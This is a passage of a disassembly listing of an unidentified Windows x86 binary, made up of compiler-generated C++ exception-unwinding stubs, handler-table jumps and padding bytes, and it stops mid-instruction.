--------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D660 proc near ; DATA XREF: sub_40D660+2o mov eax, offset dword_440568 jmp sub_437AB8 SEH_40D660 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DC20 proc near ; DATA XREF: sub_40DC20+2o mov eax, offset dword_4405D8 jmp sub_437AB8 SEH_40DC20 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A228: ; DATA XREF: ___:0044069Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E2F0 proc near ; DATA XREF: sub_40E2F0+2o mov eax, offset dword_440670 jmp sub_437AB8 SEH_40E2F0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A278: ; DATA XREF: ___:004406F4o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E870 proc near ; DATA XREF: sub_40E870+2o mov eax, offset dword_4406C8 jmp sub_437AB8 SEH_40E870 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A2C8: ; DATA XREF: ___:0044074Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED00 proc near ; DATA XREF: sub_40ED00+2o mov eax, offset dword_440720 jmp sub_437AB8 SEH_40ED00 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EE40 proc near ; DATA XREF: sub_40EE40+2o mov eax, offset dword_440760 jmp sub_437AB8 SEH_40EE40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A318: ; DATA XREF: ___:004407BCo lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A348: ; DATA XREF: ___:0040F218o mov eax, offset dword_440790 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A378: ; DATA XREF: ___:0044081Co mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B68 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F6D0 proc near ; DATA XREF: sub_40F6D0+2o mov eax, offset dword_4407F0 jmp sub_437AB8 SEH_40F6D0 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A568: ; DATA XREF: ___:0044097Co mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FE70 proc near ; DATA XREF: sub_40FE70+2o mov eax, offset dword_440950 jmp sub_437AB8 SEH_40FE70 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A69B: ; DATA XREF: ___:00440A34o lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6B1: ; DATA XREF: ___:00440A44o lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6BC: ; DATA XREF: ___:00440A4Co lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6C7: ; DATA XREF: ___:00440A54o lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6D2: ; DATA XREF: ___:00440A5Co lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6DD: ; DATA XREF: ___:00440A64o lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6E8: ; DATA XREF: ___:00440A6Co lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6F3: ; DATA XREF: ___:00440A74o lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A709: ; DATA XREF: ___:00440A84o lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A714: ; DATA XREF: ___:00440A8Co lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A71F: ; DATA XREF: ___:00440A94o lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A72A: ; DATA XREF: ___:00440A9Co lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A799: ; DATA XREF: ___:00440AE4o lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7A4: ; DATA XREF: ___:00440AECo mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7B2: ; DATA XREF: ___:00440AF4o mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7C0: ; DATA XREF: ___:00440AFCo lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7E1: ; DATA XREF: ___:00440B14o lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7F7: ; DATA XREF: ___:00440B24o lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A80D: ; DATA XREF: ___:00440B34o lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A818: ; DATA XREF: ___:00440B3Co lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A823: ; DATA XREF: ___:00440B44o mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A82E: ; DATA XREF: ___:00440B4Co lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A839: ; DATA XREF: ___:00440B54o lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A84F: ; DATA XREF: ___:00440B6Co lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A85A: ; DATA XREF: ___:00440B7Co lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A865: ; DATA XREF: ___:00440B84o lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A87B: ; DATA XREF: ___:00440B9Co lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A891: ; DATA XREF: ___:00440BB4o lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8A7: ; DATA XREF: ___:00440BC4o lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8B2: ; DATA XREF: ___:00440BCCo lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8D3: ; DATA XREF: sub_410030+8o mov eax, offset dword_440A08 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411930 proc near ; DATA XREF: sub_411930+2o mov eax, offset dword_440C18 jmp sub_437AB8 SEH_411930 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4119E0 proc near ; DATA XREF: sub_4119E0+2o mov eax, offset dword_440C48 jmp sub_437AB8 SEH_4119E0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A9B8: ; DATA XREF: ___:00440CA4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A60 proc near ; DATA XREF: sub_411A60+2o mov eax, offset dword_440C78 jmp sub_437AB8 SEH_411A60 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AA18: ; DATA XREF: ___:00440CFCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B20 proc near ; DATA XREF: sub_411B20+2o mov eax, offset dword_440CD0 jmp sub_437AB8 SEH_411B20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411C10 proc near ; DATA XREF: sub_411C10+8o mov eax, offset dword_440D28 jmp sub_437AB8 SEH_411C10 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AAE8: ; DATA XREF: ___:00440DD4o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4120B0 proc near ; DATA XREF: sub_4120B0+8o mov eax, offset dword_440DA8 jmp sub_437AB8 SEH_4120B0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_43AB90: ; DATA XREF: ___:00440E74o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_43ABAE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ABAE: ; CODE XREF: ___:0043ABA0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412780 proc near ; DATA XREF: sub_412780+2o mov eax, offset dword_440E48 jmp sub_437AB8 SEH_412780 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ABD8: ; DATA XREF: ___:00440EACo lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412A40 proc near ; DATA XREF: sub_412A40+8o mov eax, offset dword_440E80 jmp sub_437AB8 SEH_412A40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412CE0 proc near ; DATA XREF: sub_412CE0+2o mov eax, offset dword_440EB8 jmp sub_437AB8 SEH_412CE0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC18: ; DATA XREF: ___:00440F14o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC4E: ; DATA XREF: ___:00412D88o mov eax, offset dword_440EE8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC7B: ; DATA XREF: ___:00440F74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4131F0 proc near ; DATA XREF: sub_4131F0+2o mov eax, offset dword_440F48 jmp sub_437AB8 SEH_4131F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4132F0 proc near ; DATA XREF: sub_4132F0+2o mov eax, offset dword_440F90 jmp sub_437AB8 SEH_4132F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4133B0 proc near ; DATA XREF: sub_4133B0+2o mov eax, offset dword_440FD8 jmp sub_437AB8 SEH_4133B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4134A0 proc near ; DATA XREF: sub_4134A0+2o mov eax, offset dword_441010 jmp sub_437AB8 SEH_4134A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4135E0 proc near ; DATA XREF: sub_4135E0+2o mov eax, offset dword_441040 jmp sub_437AB8 SEH_4135E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401582 ; --------------------------------------------------------------------------- loc_43AD78: ; DATA XREF: ___:0044109Co lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413740 proc near ; DATA XREF: sub_413740+2o mov eax, offset dword_441070 jmp sub_437AB8 SEH_413740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD98: ; DATA XREF: ___:004410D4o lea ecx, [ebp-0A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4138B0 proc near ; DATA XREF: sub_4138B0+2o mov eax, offset dword_4410A8 jmp sub_437AB8 SEH_4138B0 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADD8: ; DATA XREF: ___:00441114o lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_401582 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413A80 proc near ; DATA XREF: sub_413A80+2o mov eax, offset dword_4410E8 jmp sub_437AB8 SEH_413A80 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE08: ; DATA XREF: ___:00413BB2o mov eax, offset dword_441128 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE28: ; DATA XREF: ___:00441184o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE30: ; DATA XREF: ___:0044118Co mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43AE3B: ; DATA XREF: ___:00441194o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413C40 proc near ; DATA XREF: sub_413C40+2o mov eax, offset dword_441158 jmp sub_437AB8 SEH_413C40 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE68: ; DATA XREF: ___:004411CCo lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413E70 proc near ; DATA XREF: sub_413E70+2o mov eax, offset dword_4411A0 jmp sub_437AB8 SEH_413E70 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEBB: ; DATA XREF: ___:00441224o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414160 proc near ; DATA XREF: sub_414160+2o mov eax, offset dword_4411F8 jmp sub_437AB8 SEH_414160 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEF8: ; DATA XREF: ___:00441264o mov ecx, [ebp+14h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, 